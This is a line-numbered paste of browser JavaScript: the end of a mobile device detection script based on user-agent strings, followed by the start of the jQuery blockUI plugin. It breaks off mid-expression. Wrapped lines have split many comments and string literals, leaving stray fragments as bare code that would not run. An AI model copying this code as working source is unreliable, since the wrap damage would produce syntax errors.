  3481. var mini = "mini"; //Some mobile browsers put 'mini' in their names.
  3482. var mobile = "mobile"; //Some mobile browsers put 'mobile' in their user agent strings.
  3483. var mobi = "mobi"; //Some mobile browsers put 'mobi' in their user agent strings.
  3484.  
  3485. var maemo = "maemo";
  3486. var linux = "linux";
  3487. var qtembedded = "qt embedded"; //for Sony Mylo and others
  3488. var mylocom2 = "com2"; //for Sony Mylo also
  3489.  
  3490. var manuSonyEricsson = "sonyericsson";
  3491. var manuericsson = "ericsson";
  3492. var manuSamsung1 = "sec-sgh";
  3493. var manuSony = "sony";
  3494. var manuHtc = "htc"; //Popular Android and WinMo manufacturer
  3495.  
  3496. var svcDocomo = "docomo";
  3497. var svcKddi = "kddi";
  3498. var svcVodafone = "vodafone";
  3499.  
  3500. var disUpdate = "update"; //pda vs. update
  3501.  
  3502. var uagent = "";
  3503. if (navigator && navigator.userAgent)
  3504. uagent = navigator.userAgent.toLowerCase();
  3505.  
  3506. function DetectIphone()
  3507. {
  3508. if (uagent.search(deviceIphone) > -1)
  3509. {
  3510. if (DetectIpad() || DetectIpod())
  3511. return false;
  3512. else
  3513. return true;
  3514. }
  3515. else
  3516. return false;
  3517. }
  3518.  
  3519. function DetectIpod()
  3520. {
  3521. if (uagent.search(deviceIpod) > -1)
  3522. return true;
  3523. else
  3524. return false;
  3525. }
  3526.  
  3527. function DetectIpad()
  3528. {
  3529. if (uagent.search(deviceIpad) > -1 && DetectWebkit())
  3530. return true;
  3531. else
  3532. return false;
  3533. }
  3534.  
  3535. function DetectIphoneOrIpod()
  3536. {
  3537. if (uagent.search(deviceIphone) > -1 ||
  3538. uagent.search(deviceIpod) > -1)
  3539. return true;
  3540. else
  3541. return false;
  3542. }
  3543.  
  3544. function DetectIos()
  3545. {
  3546. if (DetectIphoneOrIpod() || DetectIpad())
  3547. return true;
  3548. else
  3549. return false;
  3550. }
  3551.  
  3552. function DetectAndroid()
  3553. {
  3554. if ((uagent.search(deviceAndroid) > -1) || DetectGoogleTV())
  3555. return true;
  3556. if (uagent.search(deviceHtcFlyer) > -1)
  3557. return true;
  3558. else
  3559. return false;
  3560. }
  3561.  
  3562. function DetectAndroidPhone()
  3563. {
  3564. if (DetectAndroid() && (uagent.search(mobile) > -1))
  3565. return true;
  3566. if (DetectOperaAndroidPhone())
  3567. return true;
  3568. if (uagent.search(deviceHtcFlyer) > -1)
  3569. return true;
  3570. else
  3571. return false;
  3572. }
  3573.  
  3574. function DetectAndroidTablet()
  3575. {
  3576. if (!DetectAndroid())
  3577. return false;
  3578.  
  3579. if (DetectOperaMobile())
  3580. return false;
  3581. if (uagent.search(deviceHtcFlyer) > -1)
  3582. return false;
  3583.  
  3584. if (uagent.search(mobile) > -1)
  3585. return false;
  3586. else
  3587. return true;
  3588. }
  3589.  
  3590.  
  3591. function DetectAndroidWebKit()
  3592. {
  3593. if (DetectAndroid() && DetectWebkit())
  3594. return true;
  3595. else
  3596. return false;
  3597. }
  3598.  
  3599.  
  3600. function DetectGoogleTV()
  3601. {
  3602. if (uagent.search(deviceGoogleTV) > -1)
  3603. return true;
  3604. else
  3605. return false;
  3606. }
  3607.  
  3608.  
  3609. function DetectWebkit()
  3610. {
  3611. if (uagent.search(engineWebKit) > -1)
  3612. return true;
  3613. else
  3614. return false;
  3615. }
  3616.  
  3617. function DetectS60OssBrowser()
  3618. {
  3619. if (DetectWebkit())
  3620. {
  3621. if ((uagent.search(deviceS60) > -1 ||
  3622. uagent.search(deviceSymbian) > -1))
  3623. return true;
  3624. else
  3625. return false;
  3626. }
  3627. else
  3628. return false;
  3629. }
  3630.  
  3631. function DetectSymbianOS()
  3632. {
  3633. if (uagent.search(deviceSymbian) > -1 ||
  3634. uagent.search(deviceS60) > -1 ||
  3635. uagent.search(deviceS70) > -1 ||
  3636. uagent.search(deviceS80) > -1 ||
  3637. uagent.search(deviceS90) > -1)
  3638. return true;
  3639. else
  3640. return false;
  3641. }
  3642.  
  3643. function DetectWindowsPhone7()
  3644. {
  3645. if (uagent.search(deviceWinPhone7) > -1)
  3646. return true;
  3647. else
  3648. return false;
  3649. }
  3650.  
  3651. function DetectWindowsMobile()
  3652. {
  3653. if (DetectWindowsPhone7())
  3654. return false;
  3655. if (uagent.search(deviceWinMob) > -1 ||
  3656. uagent.search(deviceIeMob) > -1 ||
  3657. uagent.search(enginePie) > -1)
  3658. return true;
  3659. if ((uagent.search(devicePpc) > -1) &&
  3660. !(uagent.search(deviceMacPpc) > -1))
  3661. return true;
  3662. if (uagent.search(manuHtc) > -1 &&
  3663. uagent.search(deviceWindows) > -1)
  3664. return true;
  3665. else
  3666. return false;
  3667. }
  3668.  
  3669. function DetectBlackBerry()
  3670. {
  3671. if (uagent.search(deviceBB) > -1)
  3672. return true;
  3673. if (uagent.search(vndRIM) > -1)
  3674. return true;
  3675. else
  3676. return false;
  3677. }
  3678.  
  3679. function DetectBlackBerryTablet()
  3680. {
  3681. if (uagent.search(deviceBBPlaybook) > -1)
  3682. return true;
  3683. else
  3684. return false;
  3685. }
  3686.  
  3687. function DetectBlackBerryWebKit()
  3688. {
  3689. if (DetectBlackBerry() &&
  3690. uagent.search(engineWebKit) > -1)
  3691. return true;
  3692. else
  3693. return false;
  3694. }
  3695.  
  3696. function DetectBlackBerryTouch()
  3697. {
  3698. if (DetectBlackBerry() &&
  3699. ((uagent.search(deviceBBStorm) > -1) ||
  3700. (uagent.search(deviceBBTorch) > -1) ||
  3701. (uagent.search(deviceBBBoldTouch) > -1) ||
  3702. (uagent.search(deviceBBCurveTouch) > -1) ))
  3703. return true;
  3704. else
  3705. return false;
  3706. }
  3707.  
  3708. function DetectBlackBerryHigh()
  3709. {
  3710. if (DetectBlackBerryWebKit())
  3711. return false;
  3712. if (DetectBlackBerry())
  3713. {
  3714. if (DetectBlackBerryTouch() ||
  3715. uagent.search(deviceBBBold) > -1 ||
  3716. uagent.search(deviceBBTour) > -1 ||
  3717. uagent.search(deviceBBCurve) > -1)
  3718. return true;
  3719. else
  3720. return false;
  3721. }
  3722. else
  3723. return false;
  3724. }
  3725.  
  3726. function DetectBlackBerryLow()
  3727. {
  3728. if (DetectBlackBerry())
  3729. {
  3730. if (DetectBlackBerryHigh() || DetectBlackBerryWebKit())
  3731. return false;
  3732. else
  3733. return true;
  3734. }
  3735. else
  3736. return false;
  3737. }
  3738.  
  3739.  
  3740. function DetectPalmOS()
  3741. {
  3742. if (uagent.search(devicePalm) > -1 ||
  3743. uagent.search(engineBlazer) > -1 ||
  3744. uagent.search(engineXiino) > -1)
  3745. {
  3746. if (DetectPalmWebOS())
  3747. return false;
  3748. else
  3749. return true;
  3750. }
  3751. else
  3752. return false;
  3753. }
  3754.  
  3755. function DetectPalmWebOS()
  3756. {
  3757. if (uagent.search(deviceWebOS) > -1)
  3758. return true;
  3759. else
  3760. return false;
  3761. }
  3762.  
  3763. function DetectWebOSTablet()
  3764. {
  3765. if (uagent.search(deviceWebOShp) > -1 &&
  3766. uagent.search(deviceTablet) > -1)
  3767. return true;
  3768. else
  3769. return false;
  3770. }
  3771.  
  3772. function DetectGarminNuvifone()
  3773. {
  3774. if (uagent.search(deviceNuvifone) > -1)
  3775. return true;
  3776. else
  3777. return false;
  3778. }
  3779.  
  3780.  
  3781. function DetectSmartphone()
  3782. {
  3783. if (DetectIphoneOrIpod()
  3784. || DetectAndroidPhone()
  3785. || DetectS60OssBrowser()
  3786. || DetectSymbianOS()
  3787. || DetectWindowsMobile()
  3788. || DetectWindowsPhone7()
  3789. || DetectBlackBerry()
  3790. || DetectPalmWebOS()
  3791. || DetectPalmOS()
  3792. || DetectGarminNuvifone())
  3793. return true;
  3794.  
  3795. return false;
  3796. };
  3797.  
  3798. function DetectArchos()
  3799. {
  3800. if (uagent.search(deviceArchos) > -1)
  3801. return true;
  3802. else
  3803. return false;
  3804. }
  3805.  
  3806. function DetectBrewDevice()
  3807. {
  3808. if (uagent.search(deviceBrew) > -1)
  3809. return true;
  3810. else
  3811. return false;
  3812. }
  3813.  
  3814. function DetectDangerHiptop()
  3815. {
  3816. if (uagent.search(deviceDanger) > -1 ||
  3817. uagent.search(deviceHiptop) > -1)
  3818. return true;
  3819. else
  3820. return false;
  3821. }
  3822.  
  3823. function DetectMaemoTablet()
  3824. {
  3825. if (uagent.search(maemo) > -1)
  3826. return true;
  3827. if ((uagent.search(linux) > -1)
  3828. && (uagent.search(deviceTablet) > -1)
  3829. && !DetectWebOSTablet()
  3830. && !DetectAndroid())
  3831. return true;
  3832. else
  3833. return false;
  3834. }
  3835.  
  3836. function DetectSonyMylo()
  3837. {
  3838. if (uagent.search(manuSony) > -1)
  3839. {
  3840. if (uagent.search(qtembedded) > -1 ||
  3841. uagent.search(mylocom2) > -1)
  3842. return true;
  3843. else
  3844. return false;
  3845. }
  3846. else
  3847. return false;
  3848. }
  3849.  
  3850. function DetectOperaMobile()
  3851. {
  3852. if (uagent.search(engineOpera) > -1)
  3853. {
  3854. if (uagent.search(mini) > -1 ||
  3855. uagent.search(mobi) > -1)
  3856. return true;
  3857. else
  3858. return false;
  3859. }
  3860. else
  3861. return false;
  3862. }
  3863.  
  3864. function DetectOperaAndroidPhone()
  3865. {
  3866. if ((uagent.search(engineOpera) > -1) &&
  3867. (uagent.search(deviceAndroid) > -1) &&
  3868. (uagent.search(mobi) > -1))
  3869. return true;
  3870. else
  3871. return false;
  3872. }
  3873.  
  3874. function DetectOperaAndroidTablet()
  3875. {
  3876. if ((uagent.search(engineOpera) > -1) &&
  3877. (uagent.search(deviceAndroid) > -1) &&
  3878. (uagent.search(deviceTablet) > -1))
  3879. return true;
  3880. else
  3881. return false;
  3882. }
  3883.  
  3884. function DetectSonyPlaystation()
  3885. {
  3886. if (uagent.search(devicePlaystation) > -1)
  3887. return true;
  3888. else
  3889. return false;
  3890. };
  3891.  
  3892. function DetectNintendo()
  3893. {
  3894. if (uagent.search(deviceNintendo) > -1 ||
  3895. uagent.search(deviceWii) > -1 ||
  3896. uagent.search(deviceNintendoDs) > -1)
  3897. return true;
  3898. else
  3899. return false;
  3900. };
  3901.  
  3902. function DetectXbox()
  3903. {
  3904. if (uagent.search(deviceXbox) > -1)
  3905. return true;
  3906. else
  3907. return false;
  3908. };
  3909.  
  3910. function DetectGameConsole()
  3911. {
  3912. if (DetectSonyPlaystation())
  3913. return true;
  3914. if (DetectNintendo())
  3915. return true;
  3916. if (DetectXbox())
  3917. return true;
  3918. else
  3919. return false;
  3920. };
  3921.  
  3922. function DetectKindle()
  3923. {
  3924. if (uagent.search(deviceKindle) > -1 &&
  3925. !DetectAndroid())
  3926. return true;
  3927. else
  3928. return false;
  3929. }
  3930.  
  3931. function DetectAmazonSilk()
  3932. {
  3933. if (uagent.search(engineSilk) > -1)
  3934. return true;
  3935. else
  3936. return false;
  3937. }
  3938.  
  3939. function DetectMobileQuick()
  3940. {
  3941. if (DetectTierTablet())
  3942. return false;
  3943.  
  3944. if (DetectSmartphone())
  3945. return true;
  3946.  
  3947. if (uagent.search(deviceMidp) > -1 ||
  3948. DetectBrewDevice())
  3949. return true;
  3950.  
  3951. if (DetectOperaMobile())
  3952. return true;
  3953.  
  3954. if (uagent.search(engineNetfront) > -1)
  3955. return true;
  3956. if (uagent.search(engineUpBrowser) > -1)
  3957. return true;
  3958. if (uagent.search(engineOpenWeb) > -1)
  3959. return true;
  3960.  
  3961. if (DetectDangerHiptop())
  3962. return true;
  3963.  
  3964. if (DetectMaemoTablet())
  3965. return true;
  3966. if (DetectArchos())
  3967. return true;
  3968.  
  3969. if ((uagent.search(devicePda) > -1) &&
  3970. !(uagent.search(disUpdate) > -1))
  3971. return true;
  3972. if (uagent.search(mobile) > -1)
  3973. return true;
  3974.  
  3975. if (DetectKindle() ||
  3976. DetectAmazonSilk())
  3977. return true;
  3978.  
  3979. return false;
  3980. };
  3981.  
  3982.  
  3983. function DetectMobileLong()
  3984. {
  3985. if (DetectMobileQuick())
  3986. return true;
  3987. if (DetectGameConsole())
  3988. return true;
  3989. if (DetectSonyMylo())
  3990. return true;
  3991.  
  3992. if (uagent.search(manuSamsung1) > -1 ||
  3993. uagent.search(manuSonyEricsson) > -1 ||
  3994. uagent.search(manuericsson) > -1)
  3995. return true;
  3996.  
  3997. if (uagent.search(svcDocomo) > -1)
  3998. return true;
  3999. if (uagent.search(svcKddi) > -1)
  4000. return true;
  4001. if (uagent.search(svcVodafone) > -1)
  4002. return true;
  4003.  
  4004.  
  4005. return false;
  4006. };
  4007.  
  4008.  
  4009. function DetectTierTablet()
  4010. {
  4011. if (DetectIpad()
  4012. || DetectAndroidTablet()
  4013. || DetectBlackBerryTablet()
  4014. || DetectWebOSTablet())
  4015. return true;
  4016. else
  4017. return false;
  4018. };
  4019.  
  4020. function DetectTierIphone()
  4021. {
  4022. if (DetectIphoneOrIpod())
  4023. return true;
  4024. if (DetectAndroidPhone())
  4025. return true;
  4026. if (DetectBlackBerryWebKit() && DetectBlackBerryTouch())
  4027. return true;
  4028. if (DetectWindowsPhone7())
  4029. return true;
  4030. if (DetectPalmWebOS())
  4031. return true;
  4032. if (DetectGarminNuvifone())
  4033. return true;
  4034. else
  4035. return false;
  4036. };
  4037.  
  4038. function DetectTierRichCss()
  4039. {
  4040. if (DetectMobileQuick())
  4041. {
  4042. if (DetectTierIphone() || DetectKindle())
  4043. return false;
  4044.  
  4045. if (DetectWebkit())
  4046. return true;
  4047. if (DetectS60OssBrowser())
  4048. return true;
  4049.  
  4050. if (DetectBlackBerryHigh())
  4051. return true;
  4052.  
  4053. if (DetectWindowsMobile())
  4054. return true;
  4055.  
  4056. if (uagent.search(engineTelecaQ) > -1)
  4057. return true;
  4058.  
  4059. else
  4060. return false;
  4061. }
  4062. else
  4063. return false;
  4064. };
  4065.  
  4066. function DetectTierOtherPhones()
  4067. {
  4068. if (DetectMobileLong())
  4069. {
  4070. if (DetectTierIphone() || DetectTierRichCss())
  4071. return false;
  4072.  
  4073. else
  4074. return true;
  4075. }
  4076. else
  4077. return false;
  4078. };
  4079.  
  4080.  
  4081. function InitDeviceScan()
  4082. {
  4083. isIphone = DetectIphoneOrIpod();
  4084. isAndroidPhone = DetectAndroidPhone();
  4085. isTierIphone = DetectTierIphone();
  4086. isTierTablet = DetectTierTablet();
  4087.  
  4088. isTierRichCss = DetectTierRichCss();
  4089. isTierGenericMobile = DetectTierOtherPhones();
  4090. };
  4091.  
  4092. try {
  4093. InitDeviceScan();
  4094. }catch(e){}
  4095.  
  4096.  
  4097. /*!
  4098. * jQuery blockUI plugin
  4099. * Version 2.70.0-2014.11.23
  4100. * Requires jQuery v1.7 or later
  4101. *
  4102. * Examples at: http://malsup.com/jquery/block/
  4103. * Copyright (c) 2007-2013 M. Alsup
  4104. * Dual licensed under the MIT and GPL licenses:
  4105. * http://www.opensource.org/licenses/mit-license.php
  4106. * http://www.gnu.org/licenses/gpl.html
  4107. *
  4108. * Thanks to Amir-Hossein Sobhi for some excellent contributions!
  4109. */
  4110.  
  4111. ;(function() {
  4112. /*jshint eqeqeq:false curly:false latedef:false */
  4113. "use strict";
  4114.  
  4115. function setup($) {
  4116. $.fn._fadeIn = $.fn.fadeIn;
  4117.  
  4118. var noOp = $.noop || function() {};
  4119.  
  4120. // this bit is to ensure we don't call setExpression when we shouldn't (with extra muscle to
  4121.  
  4122. handle
  4123. // confusing userAgent strings on Vista)
  4124. var msie = /MSIE/.test(navigator.userAgent);
  4125. var ie6 = /MSIE 6.0/.test(navigator.userAgent) && ! /MSIE 8.0/.test(navigator.userAgent);
  4126. var mode = document.documentMode || 0;
  4127. var setExpr = $.isFunction( document.createElement('div').style.setExpression );
  4128.  
  4129. // global $ methods for blocking/unblocking the entire page
  4130. $.blockUI = function(opts) { install(window, opts); };
  4131. $.unblockUI = function(opts) { remove(window, opts); };
  4132.  
  4133. // convenience method for quick growl-like notifications
  4134.  
  4135. (http://www.google.com/search?q=growl)
  4136. $.growlUI = function(title, message, timeout, onClose) {
  4137. var $m = $('<div class="growlUI"></div>');
  4138. if (title) $m.append('<h1>'+title+'</h1>');
  4139. if (message) $m.append('<h2>'+message+'</h2>');
  4140. if (timeout === undefined) timeout = 3000;
  4141.  
  4142. // Added by konapun: Set timeout to 30 seconds if this growl is moused over, like
  4143.  
  4144. normal toast notifications
  4145. var callBlock = function(opts) {
  4146. opts = opts || {};
  4147.  
  4148. $.blockUI({
  4149. message: $m,
  4150. fadeIn : typeof opts.fadeIn !== 'undefined' ? opts.fadeIn :
  4151.  
  4152. 700,
  4153. fadeOut: typeof opts.fadeOut !== 'undefined' ?
  4154.  
  4155. opts.fadeOut : 1000,
  4156. timeout: typeof opts.timeout !== 'undefined' ? opts.timeout
  4157.  
  4158. : timeout,
  4159. centerY: false,
  4160. showOverlay: false,
  4161. onUnblock: onClose,
  4162. css: $.blockUI.defaults.growlCSS
  4163. });
  4164. };
  4165.  
  4166. callBlock();
  4167. var nonmousedOpacity = $m.css('opacity');
  4168. $m.mouseover(function() {
  4169. callBlock({
  4170. fadeIn: 0,
  4171. timeout: 30000
  4172. });
  4173.  
  4174. var displayBlock = $('.blockMsg');
  4175. displayBlock.stop(); // cancel fadeout if it has started
  4176. displayBlock.fadeTo(300, 1); // make it easier to read the message by
  4177.  
  4178. removing transparency
  4179. }).mouseout(function() {
  4180. $('.blockMsg').fadeOut(1000);
  4181. });
  4182. // End konapun additions
  4183. };
  4184.  
  4185. // plugin method for blocking element content
  4186. $.fn.block = function(opts) {
  4187. if ( this[0] === window ) {
  4188. $.blockUI( opts );
  4189. return this;
  4190. }
  4191. var fullOpts = $.extend({}, $.blockUI.defaults, opts || {});
  4192. this.each(function() {
  4193. var $el = $(this);
  4194. if (fullOpts.ignoreIfBlocked && $el.data('blockUI.isBlocked'))
  4195. return;
  4196. $el.unblock({ fadeOut: 0 });
  4197. });
  4198.  
  4199. return this.each(function() {
  4200. if ($.css(this,'position') == 'static') {
  4201. this.style.position = 'relative';
  4202. $(this).data('blockUI.static', true);
  4203. }
  4204. this.style.zoom = 1; // force 'hasLayout' in ie
  4205. install(this, opts);
  4206. });
  4207. };
  4208.  
  4209. // plugin method for unblocking element content
  4210. $.fn.unblock = function(opts) {
  4211. if ( this[0] === window ) {
  4212. $.unblockUI( opts );
  4213. return this;
  4214. }
  4215. return this.each(function() {
  4216. remove(this, opts);
  4217. });
  4218. };
  4219.  
  4220. $.blockUI.version = 2.70; // 2nd generation blocking at no extra cost!
  4221.  
  4222. // override these in your code to change the default behavior and style
  4223. $.blockUI.defaults = {
  4224. // message displayed when blocking (use null for no message)
  4225. message: '<h1>Please wait...</h1>',
  4226.  
  4227. title: null, // title string; only used when theme == true
  4228. draggable: true, // only used when theme == true (requires jquery-ui.js to
  4229.  
  4230. be loaded)
  4231.  
  4232. theme: false, // set to true to use with jQuery UI themes
  4233.  
  4234. // styles for the message when blocking; if you wish to disable
  4235. // these and use an external stylesheet then do this in your code:
  4236. // $.blockUI.defaults.css = {};
  4237. css: {
  4238. padding: 0,
  4239. margin: 0,
  4240. width: '30%',
  4241. top: '40%',
  4242. left: '35%',
  4243. textAlign: 'center',
  4244. color: '#000',
  4245. border: '3px solid #aaa',
  4246. backgroundColor:'#fff',
  4247. cursor: 'wait'
  4248. },
  4249.  
  4250. // minimal style set used when themes are used
  4251. themedCSS: {
  4252. width: '30%',
  4253. top: '40%',
  4254. left: '35%'
  4255. },
  4256.  
  4257. // styles for the overlay
  4258. overlayCSS: {
  4259. backgroundColor: '#000',
  4260. opacity: 0.6,
  4261. cursor: 'wait'
  4262. },
  4263.  
  4264. // style to replace wait cursor before unblocking to correct issue
  4265. // of lingering wait cursor
  4266. cursorReset: 'default',
  4267.  
  4268. // styles applied when using $.growlUI
  4269. growlCSS: {
  4270. width: '350px',
  4271. top: '10px',
  4272. left: '',
  4273. right: '10px',
  4274. border: 'none',
  4275. padding: '5px',
  4276. opacity: 0.6,
  4277. cursor: 'default',
  4278. color: '#fff',
  4279. backgroundColor: '#000',
  4280. '-webkit-border-radius':'10px',
  4281. '-moz-border-radius': '10px',
  4282. 'border-radius': '10px'
  4283. },
  4284.  
  4285. // IE issues: 'about:blank' fails on HTTPS and javascript:false is s-l-o-w
  4286. // (hat tip to Jorge H. N. de Vasconcelos)
  4287. /*jshint scripturl:true */
  4288. iframeSrc: /^https/i.test(window.location.href || '') ? 'javascript:false' :
  4289.  
  4290. 'about:blank',
  4291.  
  4292. // force usage of iframe in non-IE browsers (handy for blocking applets)
  4293. forceIframe: false,
  4294.  
  4295. // z-index for the blocking overlay
  4296. baseZ: 1000,
  4297.  
  4298. // set these to true to have the message automatically centered
  4299. centerX: true, // <-- only effects element blocking (page block controlled via css
  4300.  
  4301. above)
  4302. centerY: true,
  4303.  
  4304. // allow body element to be stetched in ie6; this makes blocking look better
  4305. // on "short" pages. disable if you wish to prevent changes to the body height
  4306. allowBodyStretch: true,
  4307.  
  4308. // enable if you want key and mouse events to be disabled for content that is
  4309.  
  4310. blocked
  4311. bindEvents: true,
  4312.  
  4313. // be default blockUI will supress tab navigation from leaving blocking content
  4314. // (if bindEvents is true)
  4315. constrainTabKey: true,
  4316.  
  4317. // fadeIn time in millis; set to 0 to disable fadeIn on block
  4318. fadeIn: 200,
  4319.  
  4320. // fadeOut time in millis; set to 0 to disable fadeOut on unblock
  4321. fadeOut: 400,
  4322.  
  4323. // time in millis to wait before auto-unblocking; set to 0 to disable auto-unblock
  4324. timeout: 0,
  4325.  
  4326. // disable if you don't want to show the overlay
  4327. showOverlay: true,
  4328.  
  4329. // if true, focus will be placed in the first available input field when
  4330. // page blocking
  4331. focusInput: true,
  4332.  
  4333. // elements that can receive focus
  4334. focusableElements: ':input:enabled:visible',
  4335.  
  4336. // suppresses the use of overlay styles on FF/Linux (due to performance issues
  4337.  
  4338. with opacity)
  4339. // no longer needed in 2012
  4340. // applyPlatformOpacityRules: true,
  4341.  
  4342. // callback method invoked when fadeIn has completed and blocking message is
  4343.  
  4344. visible
  4345. onBlock: null,
  4346.  
  4347. // callback method invoked when unblocking has completed; the callback is
  4348. // passed the element that has been unblocked (which is the window object for
  4349.  
  4350. page
  4351. // blocks) and the options that were passed to the unblock call:
  4352. // onUnblock(element, options)
  4353. onUnblock: null,
  4354.  
  4355. // callback method invoked when the overlay area is clicked.
  4356. // setting this will turn the cursor to a pointer, otherwise cursor defined in
  4357.  
  4358. overlayCss will be used.
  4359. onOverlayClick: null,
  4360.  
  4361. // don't ask; if you really must know: http://groups.google.com/group/jquery-
  4362.  
  4363. en/browse_thread/thread/36640a8730503595/2f6a79a77a78e493#2f6a79a77a78e493
  4364. quirksmodeOffsetHack: 4,
  4365.  
  4366. // class name of the message block
  4367. blockMsgClass: 'blockMsg',
  4368.  
  4369. // if it is already blocked, then ignore it (don't unblock and reblock)
  4370. ignoreIfBlocked: false
  4371. };
  4372.  
  4373. // private data and functions follow...
  4374.  
  4375. var pageBlock = null;
  4376. var pageBlockEls = [];
  4377.  
  4378. function install(el, opts) {
  4379. var css, themedCSS;
  4380. var full = (el == window);
  4381. var msg = (opts && opts.message !== undefined ? opts.message : undefined);
  4382. opts = $.extend({}, $.blockUI.defaults, opts || {});
  4383.  
  4384. if (opts.ignoreIfBlocked && $(el).data('blockUI.isBlocked'))
  4385. return;
  4386.  
  4387. opts.overlayCSS = $.extend({}, $.blockUI.defaults.overlayCSS, opts.overlayCSS ||
  4388.  
  4389. {});
  4390. css = $.extend({}, $.blockUI.defaults.css, opts.css || {});
  4391. if (opts.onOverlayClick)
  4392. opts.overlayCSS.cursor = 'pointer';
  4393.  
  4394. themedCSS = $.extend({}, $.blockUI.defaults.themedCSS, opts.themedCSS || {});
  4395. msg = msg === undefined ? opts.message : msg;
  4396.  
  4397. // remove the current block (if there is one)
  4398. if (full && pageBlock)
  4399. remove(window, {fadeOut:0});
  4400.  
  4401. // if an existing element is being used as the blocking content then we capture
  4402. // its current place in the DOM (and current display style) so we can restore
  4403. // it when we unblock
  4404. if (msg && typeof msg != 'string' && (msg.parentNode || msg.jquery)) {
  4405. var node = msg.jquery ? msg[0] : msg;
  4406. var data = {};
  4407. $(el).data('blockUI.history', data);
  4408. data.el = node;
  4409. data.parent = node.parentNode;
  4410. data.display = node.style.display;
  4411. data.position = node.style.position;
  4412. if (data.parent)
  4413. data.parent.removeChild(node);
  4414. }
  4415.  
  4416. $(el).data('blockUI.onUnblock', opts.onUnblock);
  4417. var z = opts.baseZ;
  4418.  
  4419. // blockUI uses 3 layers for blocking, for simplicity they are all used on every
  4420.  
  4421. platform;
  4422. // layer1 is the iframe layer which is used to supress bleed through of underlying
  4423.  
  4424. content
  4425. // layer2 is the overlay layer which has opacity and a wait cursor (by default)
  4426. // layer3 is the message content that is displayed while blocking
  4427. var lyr1, lyr2, lyr3, s;
  4428. if (msie || opts.forceIframe)
  4429. lyr1 = $('<iframe class="blockUI" style="z-index:'+ (z++)
  4430.  
  4431. +';display:none;border:none;margin:0;padding:0;position:absolute;width:100%;height:100%;top:0;left:0"
  4432.  
  4433. src="'+opts.iframeSrc+'"></iframe>');
  4434. else
  4435. lyr1 = $('<div class="blockUI" style="display:none"></div>');
  4436.  
  4437. if (opts.theme)
  4438. lyr2 = $('<div class="blockUI blockOverlay ui-widget-overlay" style="z-
  4439.  
  4440. index:'+ (z++) +';display:none"></div>');
  4441. else
  4442. lyr2 = $('<div class="blockUI blockOverlay" style="z-index:'+ (z++)
  4443.  
  4444. +';display:none;border:none;margin:0;padding:0;width:100%;height:100%;top:0;left:0"></div>');
  4445.  
  4446. if (opts.theme && full) {
  4447. s = '<div class="blockUI ' + opts.blockMsgClass + ' blockPage ui-dialog
  4448.  
  4449. ui-widget ui-corner-all" style="z-index:'+(z+10)+';display:none;position:fixed">';
  4450. if ( opts.title ) {
  4451. s += '<div class="ui-widget-header ui-dialog-titlebar ui-
  4452.  
  4453. corner-all blockTitle">'+(opts.title || '&nbsp;')+'</div>';
  4454. }
  4455. s += '<div class="ui-widget-content ui-dialog-content"></div>';
  4456. s += '</div>';
  4457. }
  4458. else if (opts.theme) {
  4459. s = '<div class="blockUI ' + opts.blockMsgClass + ' blockElement ui-
  4460.  
  4461. dialog ui-widget ui-corner-all" style="z-index:'+(z+10)+';display:none;position:absolute">';
  4462. if ( opts.title ) {
  4463. s += '<div class="ui-widget-header ui-dialog-titlebar ui-
  4464.  
  4465. corner-all blockTitle">'+(opts.title || '&nbsp;')+'</div>';
  4466. }
  4467. s += '<div class="ui-widget-content ui-dialog-content"></div>';
  4468. s += '</div>';
  4469. }
  4470. else if (full) {
  4471. s = '<div class="blockUI ' + opts.blockMsgClass + ' blockPage" style="z-
  4472.  
  4473. index:'+(z+10)+';display:none;position:fixed"></div>';
  4474. }
  4475. else {
  4476. s = '<div class="blockUI ' + opts.blockMsgClass + ' blockElement"
  4477.  
  4478. style="z-index:'+(z+10)+';display:none;position:absolute"></div>';
  4479. }
  4480. lyr3 = $(s);
  4481.  
  4482. // if we have a message, style it
  4483. if (msg) {
  4484. if (opts.theme) {
  4485. lyr3.css(themedCSS);
  4486. lyr3.addClass('ui-widget-content');
  4487. }
  4488. else
  4489. lyr3.css(css);
  4490. }
  4491.  
  4492. // style the overlay
  4493. if (!opts.theme /*&& (!opts.applyPlatformOpacityRules)*/)
  4494. lyr2.css(opts.overlayCSS);
  4495. lyr2.css('position', full ? 'fixed' : 'absolute');
  4496.  
  4497. // make iframe layer transparent in IE
  4498. if (msie || opts.forceIframe)
  4499. lyr1.css('opacity',0.0);
  4500.  
  4501. //$([lyr1[0],lyr2[0],lyr3[0]]).appendTo(full ? 'body' : el);
  4502. var layers = [lyr1,lyr2,lyr3], $par = full ? $('body') : $(el);
  4503. $.each(layers, function() {
  4504. this.appendTo($par);
  4505. });
  4506.  
  4507. if (opts.theme && opts.draggable && $.fn.draggable) {
  4508. lyr3.draggable({
  4509. handle: '.ui-dialog-titlebar',
  4510. cancel: 'li'
  4511. });
  4512. }
  4513.  
  4514. // ie7 must use absolute positioning in quirks mode and to account for activex
  4515.  
  4516. issues (when scrolling)
  4517. var expr = setExpr && (!$.support.boxModel || $('object,embed', full ? null :
  4518.  
  4519. el).length > 0);
  4520. if (ie6 || expr) {
  4521. // give body 100% height
  4522. if (full && opts.allowBodyStretch && $.support.boxModel)
  4523. $('html,body').css('height','100%');
  4524.  
  4525. // fix ie6 issue when blocked element has a border width
  4526. if ((ie6 || !$.support.boxModel) && !full) {
  4527. var t = sz(el,'borderTopWidth'), l = sz(el,'borderLeftWidth');
  4528. var fixT = t ? '(0 - '+t+')' : 0;
  4529. var fixL = l ? '(0 - '+l+')' : 0;
  4530. }
  4531.  
  4532. // simulate fixed position
  4533. $.each(layers, function(i,o) {
  4534. var s = o[0].style;
  4535. s.position = 'absolute';
  4536. if (i < 2) {
  4537. if (full)
  4538. s.setExpression('height','Math.max
  4539.  
  4540. (document.body.scrollHeight, document.body.offsetHeight) - (jQuery.support.boxModel?
  4541.  
  4542. 0:'+opts.quirksmodeOffsetHack+') + "px"');
  4543. else
  4544. s.setExpression
  4545.  
  4546. ('height','this.parentNode.offsetHeight + "px"');
  4547. if (full)
  4548. s.setExpression
  4549.  
  4550. ('width','jQuery.support.boxModel && document.documentElement.clientWidth ||
  4551.  
  4552. document.body.clientWidth + "px"');
  4553. else
  4554. s.setExpression
  4555.  
  4556. ('width','this.parentNode.offsetWidth + "px"');
  4557. if (fixL) s.setExpression('left', fixL);
  4558. if (fixT) s.setExpression('top', fixT);
  4559. }
  4560. else if (opts.centerY) {
  4561. if (full) s.setExpression
  4562.  
  4563. ('top','(document.documentElement.clientHeight || document.body.clientHeight) / 2 - (this.offsetHeight / 2) +
  4564.  
